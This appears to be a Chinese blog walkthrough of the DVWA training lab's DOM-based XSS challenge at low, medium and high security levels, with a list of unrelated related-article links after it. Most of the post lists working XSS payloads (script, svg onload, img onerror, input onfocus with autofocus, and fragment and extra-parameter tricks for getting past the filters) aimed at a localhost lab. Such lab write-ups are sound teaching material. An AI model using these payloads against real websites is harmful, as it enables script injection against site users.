当前位置: 首页 > article >正文

【dvwa靶场:XSS系列】XSS (DOM) 低-中-高级别,通关啦

一、低级low

拼接的url样式:​​​​​​​
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default= 拼接的新内容

<script>alert("假客套")</script>

二、中级middle

拼接的url样式:​​​​​​​
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default= 拼接的新内容

过滤了script,使用其他标签拼接新的,新的拼接如下四选一

</select><svg onload=alert('假客套');>
</select><img src=x onerror=alert("假客套")>

 注意这里的autofocus会一直自动加载弹窗,不加无效

<select><input onfocus = alert('假客套') autofocus/>
"><input onfocus = alert('假客套') autofocus/>

三、高级high

拼接的url样式:
​​​​​​​http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English 拼接的新内容

 过滤了script,使用其他标签拼接新的,新的拼接如下二选一 

自定义一个参数名,拼接假的采纳数传递过去,比如不存在的name

&name=<script>alert("假客套")</script>

# 注释掉后续不传给后端,也不过滤

#<script>alert("假客套")</script>

http://www.kler.cn/a/385781.html

相关文章:

  • SQL Server 查询设置 - LIKE/DISTINCT/HAVING/排序
  • ONLYOFFICE8.2版本测评,团队协作的办公软件
  • 论文解析:计算能力资源的可信共享:利益驱动的异构网络服务提供机制
  • git配置用户信息
  • 群控系统服务端开发模式-应用开发-前端图片格式功能开发
  • 创建vue+electron项目流程
  • ARM64的Mac Node.js前置工作,nvm在线安装
  • JVM中对象在堆中的生命周期?
  • 《Java核心技术 卷I》第10章 图形用户界面程序设计
  • 「QT」几何数据类 之 QRect 矩形类
  • 2025年入门深度学习或人工智能,该学PyTorch还是TensorFlow?
  • 证明正交标架
  • SpringBoot使用自定义注解对API接口进行数据校验
  • golang 实现比特币内核:实现基于椭圆曲线的数字签名和验证
  • 伦敦金价格是交易所公布的吗?
  • 基于Multisim直流稳压电源电路(含仿真和报告)
  • linux查看网络配置
  • 任务中心全新升级,新增分享接口文档功能,MeterSphere开源持续测试工具v3.4版本发布
  • 微服务架构面试内容整理-Archaius
  • 编译器、IDE对C/C++新标准的支持
  • 微服务系列六:分布式事务与seata
  • 游戏提示错误:xinput1_3.dll缺失?四种修复错误的xinput1_3.dll文件
  • JavaScript重定向对网络爬虫的影响及处理
  • LVGL 与 QT
  • 大数据分析案例-基于随机森林算法的智能手机价格预测模型
  • tartanvo ubuntu 20.04部署